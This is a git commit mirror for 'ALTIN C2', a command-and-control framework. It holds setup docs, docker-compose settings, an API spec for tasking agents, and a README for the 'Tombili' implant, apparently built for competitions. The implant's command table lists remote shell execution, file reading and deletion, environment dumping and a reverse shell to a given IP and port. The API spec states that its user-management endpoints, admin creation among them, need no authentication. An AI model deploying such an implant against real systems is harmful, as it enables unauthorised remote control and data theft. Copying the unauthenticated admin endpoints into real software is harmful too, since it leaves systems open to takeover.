mirror of
https://github.com/ConnorGadbois/altin.git
synced 2026-10-21 20:46:17 -05:00
Initial commit
This commit is contained in:
commit
74df04ce5a
32
README.md
Normal file
32
README.md
Normal file
@ -0,0 +1,32 @@
|
|||||||
|
# ALTIN C2
|
||||||
|
|
||||||
|
## Docker Setup
|
||||||
|
Modify the environment variables in `docker-compose.yml` as needed.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
docker compose up -d
|
||||||
|
```
|
||||||
|
|
||||||
|
## Development Setup
|
||||||
|
### Server
|
||||||
|
```bash
|
||||||
|
cd server
|
||||||
|
cp .env.example .env
|
||||||
|
|
||||||
|
# Modify .env as needed, recomended to use sqlite database
|
||||||
|
|
||||||
|
pip install -r requirements.txt
|
||||||
|
|
||||||
|
python3 debug_server.py
|
||||||
|
```
|
||||||
|
|
||||||
|
### Web UI
|
||||||
|
```bash
|
||||||
|
cd webui
|
||||||
|
python3 -m http.server # Starts a webserver on port 8000
|
||||||
|
```
|
||||||
|
|
||||||
|
## Implants
|
||||||
|
|Implant|Description|Language|OS|
|
||||||
|
|---|---|---|---|
|
||||||
|
|`Tombili`|Competition focused implant with general purpose functionality|Nim|Windows, Linux|
|
||||||
45
docker-compose.yml
Normal file
45
docker-compose.yml
Normal file
@ -0,0 +1,45 @@
|
|||||||
|
services:
|
||||||
|
postgres:
|
||||||
|
image: postgres:16-alpine
|
||||||
|
restart: unless-stopped
|
||||||
|
environment:
|
||||||
|
POSTGRES_USER: altin
|
||||||
|
POSTGRES_PASSWORD: yLZi744l2vhTZbDvVFfKQxK8TgrefTCn # CHANGE ME
|
||||||
|
POSTGRES_DB: altin
|
||||||
|
volumes:
|
||||||
|
- postgres-data:/var/lib/postgresql/data
|
||||||
|
healthcheck:
|
||||||
|
test: ["CMD-SHELL", "pg_isready -U altin -d altin"]
|
||||||
|
interval: 5s
|
||||||
|
timeout: 5s
|
||||||
|
retries: 12
|
||||||
|
start_period: 10s
|
||||||
|
|
||||||
|
server:
|
||||||
|
build:
|
||||||
|
context: ./server
|
||||||
|
restart: unless-stopped
|
||||||
|
depends_on:
|
||||||
|
postgres:
|
||||||
|
condition: service_healthy
|
||||||
|
environment:
|
||||||
|
ALTIN_PORT: 3000
|
||||||
|
ALTIN_DATABASE: postgres
|
||||||
|
ALTIN_PGSQL_DATABASE: altin
|
||||||
|
ALTIN_PGSQL_HOST: postgres
|
||||||
|
ALTIN_PGSQL_PORT: 5432
|
||||||
|
ALTIN_PGSQL_USER: altin
|
||||||
|
ALTIN_PGSQL_PASSWORD: yLZi744l2vhTZbDvVFfKQxK8TgrefTCn # CHANGE ME (same as postgres' POSTGRES_PASSWORD)
|
||||||
|
ALTIN_JWT_SECRET: ctoV2G4E1XR8JOqd9VFiRMrbVWsXlAEg4E88_QcaRLDq41T0Rtx-OD3-FA5UDnrj # CHANGE ME
|
||||||
|
ports:
|
||||||
|
- "5000:5000"
|
||||||
|
|
||||||
|
webui:
|
||||||
|
build:
|
||||||
|
context: ./webui
|
||||||
|
restart: unless-stopped
|
||||||
|
ports:
|
||||||
|
- "8080:80"
|
||||||
|
|
||||||
|
volumes:
|
||||||
|
postgres-data:
|
||||||
817
docs/ManagementAPI.yml
Normal file
817
docs/ManagementAPI.yml
Normal file
@ -0,0 +1,817 @@
|
|||||||
|
openapi: 3.0.3
|
||||||
|
info:
|
||||||
|
title: Altin Management API
|
||||||
|
version: 1.0.0
|
||||||
|
description: >
|
||||||
|
REST API for managing agents, tasks, keys, and users in the Altin framework.
|
||||||
|
|
||||||
|
Every endpoint requires an `Authorization` header containing the JWT returned by
|
||||||
|
`POST /api/login`, except for `POST /api/login` itself and the `/api/users`
|
||||||
|
endpoints, which are unauthenticated.
|
||||||
|
servers:
|
||||||
|
- url: http://localhost:5000
|
||||||
|
description: Debug server
|
||||||
|
security:
|
||||||
|
- BearerAuth: []
|
||||||
|
components:
|
||||||
|
securitySchemes:
|
||||||
|
BearerAuth:
|
||||||
|
type: apiKey
|
||||||
|
in: header
|
||||||
|
name: Authorization
|
||||||
|
description: JWT token returned by `POST /api/login`, sent as the raw header value
|
||||||
|
schemas:
|
||||||
|
LoginRequest:
|
||||||
|
type: object
|
||||||
|
required:
|
||||||
|
- username
|
||||||
|
- password
|
||||||
|
properties:
|
||||||
|
username:
|
||||||
|
type: string
|
||||||
|
password:
|
||||||
|
type: string
|
||||||
|
format: password
|
||||||
|
LoginResponse:
|
||||||
|
type: object
|
||||||
|
properties:
|
||||||
|
message:
|
||||||
|
type: string
|
||||||
|
token:
|
||||||
|
type: string
|
||||||
|
Agent:
|
||||||
|
type: object
|
||||||
|
properties:
|
||||||
|
id:
|
||||||
|
type: string
|
||||||
|
format: uuid
|
||||||
|
implant_id:
|
||||||
|
type: string
|
||||||
|
ip:
|
||||||
|
type: string
|
||||||
|
os:
|
||||||
|
type: string
|
||||||
|
commands:
|
||||||
|
type: array
|
||||||
|
items:
|
||||||
|
type: object
|
||||||
|
tags:
|
||||||
|
type: array
|
||||||
|
items:
|
||||||
|
type: string
|
||||||
|
last_checkin:
|
||||||
|
type: string
|
||||||
|
format: date-time
|
||||||
|
AgentsResponse:
|
||||||
|
type: object
|
||||||
|
properties:
|
||||||
|
agents:
|
||||||
|
type: array
|
||||||
|
items:
|
||||||
|
$ref: '#/components/schemas/Agent'
|
||||||
|
Task:
|
||||||
|
type: object
|
||||||
|
properties:
|
||||||
|
id:
|
||||||
|
type: string
|
||||||
|
format: uuid
|
||||||
|
agent:
|
||||||
|
type: string
|
||||||
|
format: uuid
|
||||||
|
task:
|
||||||
|
type: string
|
||||||
|
args:
|
||||||
|
type: array
|
||||||
|
items:
|
||||||
|
type: string
|
||||||
|
sent:
|
||||||
|
type: boolean
|
||||||
|
completed:
|
||||||
|
type: boolean
|
||||||
|
TasksResponse:
|
||||||
|
type: object
|
||||||
|
properties:
|
||||||
|
tasks:
|
||||||
|
type: array
|
||||||
|
items:
|
||||||
|
$ref: '#/components/schemas/Task'
|
||||||
|
TaskResult:
|
||||||
|
type: object
|
||||||
|
properties:
|
||||||
|
id:
|
||||||
|
type: string
|
||||||
|
format: uuid
|
||||||
|
task:
|
||||||
|
type: string
|
||||||
|
format: uuid
|
||||||
|
result:
|
||||||
|
type: string
|
||||||
|
nullable: true
|
||||||
|
timestamp:
|
||||||
|
type: string
|
||||||
|
description: Timestamp formatted by the server as `YYYY-MM-DD HH:MM:SS.ffffff`
|
||||||
|
example: '2026-09-26 12:34:56.789012'
|
||||||
|
TaskResultsResponse:
|
||||||
|
type: object
|
||||||
|
properties:
|
||||||
|
results:
|
||||||
|
type: array
|
||||||
|
items:
|
||||||
|
$ref: '#/components/schemas/TaskResult'
|
||||||
|
Key:
|
||||||
|
type: object
|
||||||
|
properties:
|
||||||
|
id:
|
||||||
|
type: string
|
||||||
|
format: uuid
|
||||||
|
name:
|
||||||
|
type: string
|
||||||
|
key:
|
||||||
|
type: string
|
||||||
|
KeysResponse:
|
||||||
|
type: object
|
||||||
|
properties:
|
||||||
|
keys:
|
||||||
|
type: array
|
||||||
|
items:
|
||||||
|
$ref: '#/components/schemas/Key'
|
||||||
|
KeyRequest:
|
||||||
|
type: object
|
||||||
|
required:
|
||||||
|
- name
|
||||||
|
- key
|
||||||
|
properties:
|
||||||
|
name:
|
||||||
|
type: string
|
||||||
|
key:
|
||||||
|
type: string
|
||||||
|
KeyDeleteRequest:
|
||||||
|
type: object
|
||||||
|
required:
|
||||||
|
- id
|
||||||
|
properties:
|
||||||
|
id:
|
||||||
|
type: string
|
||||||
|
format: uuid
|
||||||
|
User:
|
||||||
|
type: object
|
||||||
|
properties:
|
||||||
|
id:
|
||||||
|
type: string
|
||||||
|
format: uuid
|
||||||
|
username:
|
||||||
|
type: string
|
||||||
|
admin:
|
||||||
|
type: boolean
|
||||||
|
UsersResponse:
|
||||||
|
type: object
|
||||||
|
properties:
|
||||||
|
users:
|
||||||
|
type: array
|
||||||
|
items:
|
||||||
|
$ref: '#/components/schemas/User'
|
||||||
|
UserRequest:
|
||||||
|
type: object
|
||||||
|
required:
|
||||||
|
- username
|
||||||
|
- password
|
||||||
|
- admin
|
||||||
|
properties:
|
||||||
|
username:
|
||||||
|
type: string
|
||||||
|
password:
|
||||||
|
type: string
|
||||||
|
format: password
|
||||||
|
admin:
|
||||||
|
type: boolean
|
||||||
|
UserPatchRequest:
|
||||||
|
type: object
|
||||||
|
required:
|
||||||
|
- id
|
||||||
|
properties:
|
||||||
|
id:
|
||||||
|
type: string
|
||||||
|
format: uuid
|
||||||
|
username:
|
||||||
|
type: string
|
||||||
|
password:
|
||||||
|
type: string
|
||||||
|
format: password
|
||||||
|
admin:
|
||||||
|
type: boolean
|
||||||
|
TaskCreateRequest:
|
||||||
|
type: object
|
||||||
|
required:
|
||||||
|
- agent_id
|
||||||
|
- command
|
||||||
|
- args
|
||||||
|
properties:
|
||||||
|
agent_id:
|
||||||
|
type: string
|
||||||
|
format: uuid
|
||||||
|
command:
|
||||||
|
type: string
|
||||||
|
args:
|
||||||
|
type: array
|
||||||
|
items:
|
||||||
|
type: string
|
||||||
|
TagAgentRequest:
|
||||||
|
type: object
|
||||||
|
required:
|
||||||
|
- tags
|
||||||
|
description: Tags to add to the agent (POST) or remove from the agent (DELETE)
|
||||||
|
properties:
|
||||||
|
tags:
|
||||||
|
type: array
|
||||||
|
items:
|
||||||
|
type: string
|
||||||
|
UserDeleteRequest:
|
||||||
|
type: object
|
||||||
|
required:
|
||||||
|
- id
|
||||||
|
properties:
|
||||||
|
id:
|
||||||
|
type: string
|
||||||
|
format: uuid
|
||||||
|
ErrorResponse:
|
||||||
|
type: object
|
||||||
|
properties:
|
||||||
|
message:
|
||||||
|
type: string
|
||||||
|
MessageResponse:
|
||||||
|
type: object
|
||||||
|
properties:
|
||||||
|
message:
|
||||||
|
type: string
|
||||||
|
paths:
|
||||||
|
/api/login:
|
||||||
|
post:
|
||||||
|
summary: User login
|
||||||
|
description: Authenticate a user and return a JWT token
|
||||||
|
operationId: login
|
||||||
|
security: []
|
||||||
|
requestBody:
|
||||||
|
required: true
|
||||||
|
content:
|
||||||
|
application/json:
|
||||||
|
schema:
|
||||||
|
$ref: '#/components/schemas/LoginRequest'
|
||||||
|
responses:
|
||||||
|
'200':
|
||||||
|
description: Successful login
|
||||||
|
content:
|
||||||
|
application/json:
|
||||||
|
schema:
|
||||||
|
$ref: '#/components/schemas/LoginResponse'
|
||||||
|
'400':
|
||||||
|
description: Invalid request - missing username or password
|
||||||
|
content:
|
||||||
|
application/json:
|
||||||
|
schema:
|
||||||
|
$ref: '#/components/schemas/ErrorResponse'
|
||||||
|
'401':
|
||||||
|
description: Invalid username or password
|
||||||
|
content:
|
||||||
|
application/json:
|
||||||
|
schema:
|
||||||
|
$ref: '#/components/schemas/ErrorResponse'
|
||||||
|
/api/agents:
|
||||||
|
get:
|
||||||
|
summary: List all agents
|
||||||
|
description: >
|
||||||
|
Retrieve a list of all registered agents.
|
||||||
|
|
||||||
|
Note: the `ip`, `implant` and `os` filters are accepted but are not applied
|
||||||
|
to the returned list - the full agent list is always returned.
|
||||||
|
operationId: getAgents
|
||||||
|
security:
|
||||||
|
- BearerAuth: []
|
||||||
|
parameters:
|
||||||
|
- name: ip
|
||||||
|
in: query
|
||||||
|
schema:
|
||||||
|
type: string
|
||||||
|
description: Filter agents by IP address (currently not applied)
|
||||||
|
- name: implant
|
||||||
|
in: query
|
||||||
|
schema:
|
||||||
|
type: string
|
||||||
|
description: Filter agents by implant ID (currently not applied)
|
||||||
|
- name: os
|
||||||
|
in: query
|
||||||
|
schema:
|
||||||
|
type: string
|
||||||
|
description: Filter agents by operating system (currently not applied)
|
||||||
|
responses:
|
||||||
|
'200':
|
||||||
|
description: List of agents
|
||||||
|
content:
|
||||||
|
application/json:
|
||||||
|
schema:
|
||||||
|
$ref: '#/components/schemas/AgentsResponse'
|
||||||
|
'401':
|
||||||
|
description: Unauthorized - missing, expired or invalid token
|
||||||
|
content:
|
||||||
|
application/json:
|
||||||
|
schema:
|
||||||
|
$ref: '#/components/schemas/ErrorResponse'
|
||||||
|
/api/agents/{agent_id}:
|
||||||
|
get:
|
||||||
|
summary: Get agent by ID
|
||||||
|
description: Retrieve details of a specific agent
|
||||||
|
operationId: getAgent
|
||||||
|
security:
|
||||||
|
- BearerAuth: []
|
||||||
|
parameters:
|
||||||
|
- name: agent_id
|
||||||
|
in: path
|
||||||
|
required: true
|
||||||
|
schema:
|
||||||
|
type: string
|
||||||
|
format: uuid
|
||||||
|
description: Agent UUID
|
||||||
|
responses:
|
||||||
|
'200':
|
||||||
|
description: Agent details
|
||||||
|
content:
|
||||||
|
application/json:
|
||||||
|
schema:
|
||||||
|
$ref: '#/components/schemas/Agent'
|
||||||
|
'401':
|
||||||
|
description: Unauthorized - missing, expired or invalid token
|
||||||
|
content:
|
||||||
|
application/json:
|
||||||
|
schema:
|
||||||
|
$ref: '#/components/schemas/ErrorResponse'
|
||||||
|
'404':
|
||||||
|
description: Agent not found
|
||||||
|
content:
|
||||||
|
application/json:
|
||||||
|
schema:
|
||||||
|
$ref: '#/components/schemas/ErrorResponse'
|
||||||
|
delete:
|
||||||
|
summary: Delete an agent
|
||||||
|
description: Delete a specific agent
|
||||||
|
operationId: deleteAgent
|
||||||
|
security:
|
||||||
|
- BearerAuth: []
|
||||||
|
parameters:
|
||||||
|
- name: agent_id
|
||||||
|
in: path
|
||||||
|
required: true
|
||||||
|
schema:
|
||||||
|
type: string
|
||||||
|
format: uuid
|
||||||
|
description: Agent UUID
|
||||||
|
responses:
|
||||||
|
'204':
|
||||||
|
description: The agent was deleted
|
||||||
|
'401':
|
||||||
|
description: Unauthorized - missing, expired or invalid token
|
||||||
|
content:
|
||||||
|
application/json:
|
||||||
|
schema:
|
||||||
|
$ref: '#/components/schemas/ErrorResponse'
|
||||||
|
'404':
|
||||||
|
description: Agent not found
|
||||||
|
content:
|
||||||
|
application/json:
|
||||||
|
schema:
|
||||||
|
$ref: '#/components/schemas/ErrorResponse'
|
||||||
|
/api/agents/{agent_id}/tags:
|
||||||
|
post:
|
||||||
|
summary: Add tags to an agent
|
||||||
|
description: Append tags to an existing agent. Tags already present are ignored.
|
||||||
|
operationId: tagAgent
|
||||||
|
security:
|
||||||
|
- BearerAuth: []
|
||||||
|
parameters:
|
||||||
|
- name: agent_id
|
||||||
|
in: path
|
||||||
|
required: true
|
||||||
|
schema:
|
||||||
|
type: string
|
||||||
|
format: uuid
|
||||||
|
description: Agent UUID
|
||||||
|
requestBody:
|
||||||
|
required: true
|
||||||
|
content:
|
||||||
|
application/json:
|
||||||
|
schema:
|
||||||
|
$ref: '#/components/schemas/TagAgentRequest'
|
||||||
|
responses:
|
||||||
|
'201':
|
||||||
|
description: Agent updated
|
||||||
|
content:
|
||||||
|
application/json:
|
||||||
|
schema:
|
||||||
|
$ref: '#/components/schemas/MessageResponse'
|
||||||
|
'400':
|
||||||
|
description: Invalid request - missing tags or tags is not an array
|
||||||
|
content:
|
||||||
|
application/json:
|
||||||
|
schema:
|
||||||
|
$ref: '#/components/schemas/ErrorResponse'
|
||||||
|
'401':
|
||||||
|
description: Unauthorized - missing, expired or invalid token
|
||||||
|
content:
|
||||||
|
application/json:
|
||||||
|
schema:
|
||||||
|
$ref: '#/components/schemas/ErrorResponse'
|
||||||
|
'404':
|
||||||
|
description: Agent not found
|
||||||
|
content:
|
||||||
|
application/json:
|
||||||
|
schema:
|
||||||
|
$ref: '#/components/schemas/ErrorResponse'
|
||||||
|
delete:
|
||||||
|
summary: Remove tags from an agent
|
||||||
|
description: >
|
||||||
|
Remove tags from an existing agent. Tags that are not present are ignored.
|
||||||
|
|
||||||
|
Note: the current implementation does not modify the stored tags - it
|
||||||
|
responds with 201 and the agent's tag list is left unchanged.
|
||||||
|
operationId: untagAgent
|
||||||
|
security:
|
||||||
|
- BearerAuth: []
|
||||||
|
parameters:
|
||||||
|
- name: agent_id
|
||||||
|
in: path
|
||||||
|
required: true
|
||||||
|
schema:
|
||||||
|
type: string
|
||||||
|
format: uuid
|
||||||
|
description: Agent UUID
|
||||||
|
requestBody:
|
||||||
|
required: true
|
||||||
|
content:
|
||||||
|
application/json:
|
||||||
|
schema:
|
||||||
|
$ref: '#/components/schemas/TagAgentRequest'
|
||||||
|
responses:
|
||||||
|
'201':
|
||||||
|
description: Agent updated
|
||||||
|
content:
|
||||||
|
application/json:
|
||||||
|
schema:
|
||||||
|
$ref: '#/components/schemas/MessageResponse'
|
||||||
|
'400':
|
||||||
|
description: Invalid request - missing tags or tags is not an array
|
||||||
|
content:
|
||||||
|
application/json:
|
||||||
|
schema:
|
||||||
|
$ref: '#/components/schemas/ErrorResponse'
|
||||||
|
'401':
|
||||||
|
description: Unauthorized - missing, expired or invalid token
|
||||||
|
content:
|
||||||
|
application/json:
|
||||||
|
schema:
|
||||||
|
$ref: '#/components/schemas/ErrorResponse'
|
||||||
|
'404':
|
||||||
|
description: Agent not found
|
||||||
|
content:
|
||||||
|
application/json:
|
||||||
|
schema:
|
||||||
|
$ref: '#/components/schemas/ErrorResponse'
|
||||||
|
/api/tasks:
|
||||||
|
get:
|
||||||
|
summary: List tasks
|
||||||
|
description: Retrieve tasks with optional filtering
|
||||||
|
operationId: getTasks
|
||||||
|
security:
|
||||||
|
- BearerAuth: []
|
||||||
|
parameters:
|
||||||
|
- name: id
|
||||||
|
in: query
|
||||||
|
schema:
|
||||||
|
type: string
|
||||||
|
format: uuid
|
||||||
|
description: Filter by agent ID
|
||||||
|
- name: agent
|
||||||
|
in: query
|
||||||
|
schema:
|
||||||
|
type: string
|
||||||
|
format: uuid
|
||||||
|
description: Filter by agent ID (alias for id)
|
||||||
|
- name: sent
|
||||||
|
in: query
|
||||||
|
schema:
|
||||||
|
type: string
|
||||||
|
enum: ['true', 'false']
|
||||||
|
description: Filter by sent status
|
||||||
|
- name: completed
|
||||||
|
in: query
|
||||||
|
schema:
|
||||||
|
type: string
|
||||||
|
enum: ['true', 'false']
|
||||||
|
description: Filter by completed status
|
||||||
|
responses:
|
||||||
|
'200':
|
||||||
|
description: List of tasks
|
||||||
|
content:
|
||||||
|
application/json:
|
||||||
|
schema:
|
||||||
|
$ref: '#/components/schemas/TasksResponse'
|
||||||
|
'400':
|
||||||
|
description: Invalid query parameter - sent or completed is not 'true' or 'false'
|
||||||
|
content:
|
||||||
|
application/json:
|
||||||
|
schema:
|
||||||
|
$ref: '#/components/schemas/ErrorResponse'
|
||||||
|
'401':
|
||||||
|
description: Unauthorized - missing, expired or invalid token
|
||||||
|
content:
|
||||||
|
application/json:
|
||||||
|
schema:
|
||||||
|
$ref: '#/components/schemas/ErrorResponse'
|
||||||
|
post:
|
||||||
|
summary: Create a new task
|
||||||
|
description: >
|
||||||
|
Create a task for a specific agent with a command and arguments. The number of
|
||||||
|
arguments must exactly match the number of required arguments declared by the
|
||||||
|
agent for that command.
|
||||||
|
operationId: createTask
|
||||||
|
security:
|
||||||
|
- BearerAuth: []
|
||||||
|
requestBody:
|
||||||
|
required: true
|
||||||
|
content:
|
||||||
|
application/json:
|
||||||
|
schema:
|
||||||
|
$ref: '#/components/schemas/TaskCreateRequest'
|
||||||
|
responses:
|
||||||
|
'201':
|
||||||
|
description: Task sent
|
||||||
|
content:
|
||||||
|
application/json:
|
||||||
|
schema:
|
||||||
|
$ref: '#/components/schemas/MessageResponse'
|
||||||
|
'400':
|
||||||
|
description: Invalid request - missing body fields, or the command is not supported by the agent
|
||||||
|
content:
|
||||||
|
application/json:
|
||||||
|
schema:
|
||||||
|
$ref: '#/components/schemas/ErrorResponse'
|
||||||
|
'401':
|
||||||
|
description: Unauthorized - missing, expired or invalid token
|
||||||
|
content:
|
||||||
|
application/json:
|
||||||
|
schema:
|
||||||
|
$ref: '#/components/schemas/ErrorResponse'
|
||||||
|
'404':
|
||||||
|
description: Agent not found, or the number of supplied arguments does not match the required arguments
|
||||||
|
content:
|
||||||
|
application/json:
|
||||||
|
schema:
|
||||||
|
$ref: '#/components/schemas/ErrorResponse'
|
||||||
|
/api/task-results:
|
||||||
|
get:
|
||||||
|
summary: List task results
|
||||||
|
description: >
|
||||||
|
Retrieve task results with optional filtering.
|
||||||
|
|
||||||
|
Note: filtering by `task_id` only takes effect when the undocumented `agent`
|
||||||
|
query parameter is supplied as well; sending `task_id` on its own results in
|
||||||
|
a server error.
|
||||||
|
operationId: getTaskResults
|
||||||
|
security:
|
||||||
|
- BearerAuth: []
|
||||||
|
parameters:
|
||||||
|
- name: id
|
||||||
|
in: query
|
||||||
|
schema:
|
||||||
|
type: string
|
||||||
|
format: uuid
|
||||||
|
description: Filter by result ID
|
||||||
|
- name: task_id
|
||||||
|
in: query
|
||||||
|
schema:
|
||||||
|
type: string
|
||||||
|
format: uuid
|
||||||
|
description: Filter by task ID (requires the `agent` query parameter)
|
||||||
|
- name: agent
|
||||||
|
in: query
|
||||||
|
schema:
|
||||||
|
type: string
|
||||||
|
description: >
|
||||||
|
Has no effect on its own; it must be supplied together with `task_id`
|
||||||
|
for the task ID filter to be applied
|
||||||
|
responses:
|
||||||
|
'200':
|
||||||
|
description: List of task results
|
||||||
|
content:
|
||||||
|
application/json:
|
||||||
|
schema:
|
||||||
|
$ref: '#/components/schemas/TaskResultsResponse'
|
||||||
|
'401':
|
||||||
|
description: Unauthorized - missing, expired or invalid token
|
||||||
|
content:
|
||||||
|
application/json:
|
||||||
|
schema:
|
||||||
|
$ref: '#/components/schemas/ErrorResponse'
|
||||||
|
'500':
|
||||||
|
description: Server error - `task_id` was supplied without the `agent` query parameter
|
||||||
|
content:
|
||||||
|
application/json:
|
||||||
|
schema:
|
||||||
|
$ref: '#/components/schemas/ErrorResponse'
|
||||||
|
/api/keys:
|
||||||
|
get:
|
||||||
|
summary: List all keys
|
||||||
|
description: Retrieve a list of all stored keys
|
||||||
|
operationId: getKeys
|
||||||
|
security:
|
||||||
|
- BearerAuth: []
|
||||||
|
responses:
|
||||||
|
'200':
|
||||||
|
description: List of keys
|
||||||
|
content:
|
||||||
|
application/json:
|
||||||
|
schema:
|
||||||
|
$ref: '#/components/schemas/KeysResponse'
|
||||||
|
'401':
|
||||||
|
description: Unauthorized - missing, expired or invalid token
|
||||||
|
content:
|
||||||
|
application/json:
|
||||||
|
schema:
|
||||||
|
$ref: '#/components/schemas/ErrorResponse'
|
||||||
|
post:
|
||||||
|
summary: Create a new key
|
||||||
|
description: Store a new key with a name
|
||||||
|
operationId: createKey
|
||||||
|
security:
|
||||||
|
- BearerAuth: []
|
||||||
|
requestBody:
|
||||||
|
required: true
|
||||||
|
content:
|
||||||
|
application/json:
|
||||||
|
schema:
|
||||||
|
$ref: '#/components/schemas/KeyRequest'
|
||||||
|
responses:
|
||||||
|
'200':
|
||||||
|
description: A key with that name already exists - no key was created
|
||||||
|
content:
|
||||||
|
application/json:
|
||||||
|
schema:
|
||||||
|
$ref: '#/components/schemas/ErrorResponse'
|
||||||
|
'201':
|
||||||
|
description: Key created successfully
|
||||||
|
content:
|
||||||
|
application/json:
|
||||||
|
schema:
|
||||||
|
$ref: '#/components/schemas/MessageResponse'
|
||||||
|
'400':
|
||||||
|
description: Invalid request - missing key or name
|
||||||
|
content:
|
||||||
|
application/json:
|
||||||
|
schema:
|
||||||
|
$ref: '#/components/schemas/ErrorResponse'
|
||||||
|
'401':
|
||||||
|
description: Unauthorized - missing, expired or invalid token
|
||||||
|
content:
|
||||||
|
application/json:
|
||||||
|
schema:
|
||||||
|
$ref: '#/components/schemas/ErrorResponse'
|
||||||
|
delete:
|
||||||
|
summary: Delete a key
|
||||||
|
description: Delete a key by its ID
|
||||||
|
operationId: deleteKey
|
||||||
|
security:
|
||||||
|
- BearerAuth: []
|
||||||
|
requestBody:
|
||||||
|
required: true
|
||||||
|
content:
|
||||||
|
application/json:
|
||||||
|
schema:
|
||||||
|
$ref: '#/components/schemas/KeyDeleteRequest'
|
||||||
|
responses:
|
||||||
|
'204':
|
||||||
|
description: The key was deleted
|
||||||
|
'400':
|
||||||
|
description: Invalid request - missing id
|
||||||
|
content:
|
||||||
|
application/json:
|
||||||
|
schema:
|
||||||
|
$ref: '#/components/schemas/ErrorResponse'
|
||||||
|
'401':
|
||||||
|
description: Unauthorized - missing, expired or invalid token
|
||||||
|
content:
|
||||||
|
application/json:
|
||||||
|
schema:
|
||||||
|
$ref: '#/components/schemas/ErrorResponse'
|
||||||
|
'404':
|
||||||
|
description: Key not found
|
||||||
|
content:
|
||||||
|
application/json:
|
||||||
|
schema:
|
||||||
|
$ref: '#/components/schemas/ErrorResponse'
|
||||||
|
/api/users:
|
||||||
|
get:
|
||||||
|
summary: List all users
|
||||||
|
description: Retrieve a list of all users (unauthenticated endpoint)
|
||||||
|
operationId: getUsers
|
||||||
|
security: []
|
||||||
|
responses:
|
||||||
|
'200':
|
||||||
|
description: List of users
|
||||||
|
content:
|
||||||
|
application/json:
|
||||||
|
schema:
|
||||||
|
$ref: '#/components/schemas/UsersResponse'
|
||||||
|
post:
|
||||||
|
summary: Create a new user
|
||||||
|
description: Register a new user account (unauthenticated endpoint)
|
||||||
|
operationId: createUser
|
||||||
|
security: []
|
||||||
|
requestBody:
|
||||||
|
required: true
|
||||||
|
content:
|
||||||
|
application/json:
|
||||||
|
schema:
|
||||||
|
$ref: '#/components/schemas/UserRequest'
|
||||||
|
responses:
|
||||||
|
'200':
|
||||||
|
description: Success - user created successfully
|
||||||
|
content:
|
||||||
|
application/json:
|
||||||
|
schema:
|
||||||
|
$ref: '#/components/schemas/MessageResponse'
|
||||||
|
'400':
|
||||||
|
description: Invalid request - missing fields, or admin is not a boolean
|
||||||
|
content:
|
||||||
|
application/json:
|
||||||
|
schema:
|
||||||
|
$ref: '#/components/schemas/ErrorResponse'
|
||||||
|
'403':
|
||||||
|
description: A user with that username already exists
|
||||||
|
content:
|
||||||
|
application/json:
|
||||||
|
schema:
|
||||||
|
$ref: '#/components/schemas/ErrorResponse'
|
||||||
|
patch:
|
||||||
|
summary: Update a user
|
||||||
|
description: >
|
||||||
|
Update user details (username, password, or admin status) by ID
|
||||||
|
(unauthenticated endpoint).
|
||||||
|
|
||||||
|
Note: only one field is applied per request, in the order username, then
|
||||||
|
password, then admin - whichever comes first in the body.
|
||||||
|
operationId: editUser
|
||||||
|
security: []
|
||||||
|
requestBody:
|
||||||
|
required: true
|
||||||
|
content:
|
||||||
|
application/json:
|
||||||
|
schema:
|
||||||
|
$ref: '#/components/schemas/UserPatchRequest'
|
||||||
|
responses:
|
||||||
|
'200':
|
||||||
|
description: User updated
|
||||||
|
content:
|
||||||
|
application/json:
|
||||||
|
schema:
|
||||||
|
$ref: '#/components/schemas/MessageResponse'
|
||||||
|
'400':
|
||||||
|
description: Invalid request - missing id
|
||||||
|
content:
|
||||||
|
application/json:
|
||||||
|
schema:
|
||||||
|
$ref: '#/components/schemas/ErrorResponse'
|
||||||
|
'404':
|
||||||
|
description: User not found
|
||||||
|
content:
|
||||||
|
application/json:
|
||||||
|
schema:
|
||||||
|
$ref: '#/components/schemas/ErrorResponse'
|
||||||
|
'500':
|
||||||
|
description: Server error - currently returned whenever `admin` is supplied
|
||||||
|
content:
|
||||||
|
application/json:
|
||||||
|
schema:
|
||||||
|
$ref: '#/components/schemas/ErrorResponse'
|
||||||
|
delete:
|
||||||
|
summary: Delete a user
|
||||||
|
description: Delete a user by ID (unauthenticated endpoint)
|
||||||
|
operationId: deleteUser
|
||||||
|
security: []
|
||||||
|
requestBody:
|
||||||
|
required: true
|
||||||
|
content:
|
||||||
|
application/json:
|
||||||
|
schema:
|
||||||
|
$ref: '#/components/schemas/UserDeleteRequest'
|
||||||
|
responses:
|
||||||
|
'204':
|
||||||
|
description: User deleted
|
||||||
|
'400':
|
||||||
|
description: Invalid request - missing id
|
||||||
|
content:
|
||||||
|
application/json:
|
||||||
|
schema:
|
||||||
|
$ref: '#/components/schemas/ErrorResponse'
|
||||||
|
'404':
|
||||||
|
description: User not found
|
||||||
|
content:
|
||||||
|
application/json:
|
||||||
|
schema:
|
||||||
|
$ref: '#/components/schemas/ErrorResponse'
|
||||||
30
implants/tombili/README.md
Normal file
30
implants/tombili/README.md
Normal file
@ -0,0 +1,30 @@
|
|||||||
|
# Tombili Agent
|
||||||
|
|
||||||
|
## Configuring
|
||||||
|
Change the values in `src/config.nim` as needed.
|
||||||
|
|
||||||
|
## Compiling
|
||||||
|
```bash
|
||||||
|
nim c -d:release -d:ssl -o:tombili.bin src/main.nim
|
||||||
|
|
||||||
|
# If compiling for Windows from MacOS or Linux:
|
||||||
|
nim c -d:release -d:ssl -o:tombili.exe src/main.nim
|
||||||
|
```
|
||||||
|
|
||||||
|
## Commands
|
||||||
|
|Command|Platform|Description|Arguments|
|
||||||
|
|---|---|---|---|
|
||||||
|
|`shell`|Windows, Linux|Run a command|command: str|
|
||||||
|
|`getsleep`|Windows, Linux|Get the current sleep time||
|
||||||
|
|`setsleep`|Windows, Linux|Set the sleep time between callbacks|sleep: float, jitter: float|
|
||||||
|
|`whoami`|Windows, Linux|Get the user that Tombili is running as||
|
||||||
|
|`cat`|Windows, Linux|Read the contents of a file|path: str|
|
||||||
|
|`fileinfo`|Windows, Linux|Get information about a file|path: str|
|
||||||
|
|`mv`|Windows, Linux|Move a file or directory|source: str, destination: str|
|
||||||
|
|`rm`|Windows, Linux|Delete a file|path: str|
|
||||||
|
|`getenv`|Windows, Linux|Get all environment variables||
|
||||||
|
|`pid`|Windows, Linux|Get the ID of the current process||
|
||||||
|
|`reverseshell`|Windows, Linux|Start a reverse shell|ip: str, port: int|
|
||||||
|
|`msgbox`|Windows|Display a message box|title: str, body: str|
|
||||||
|
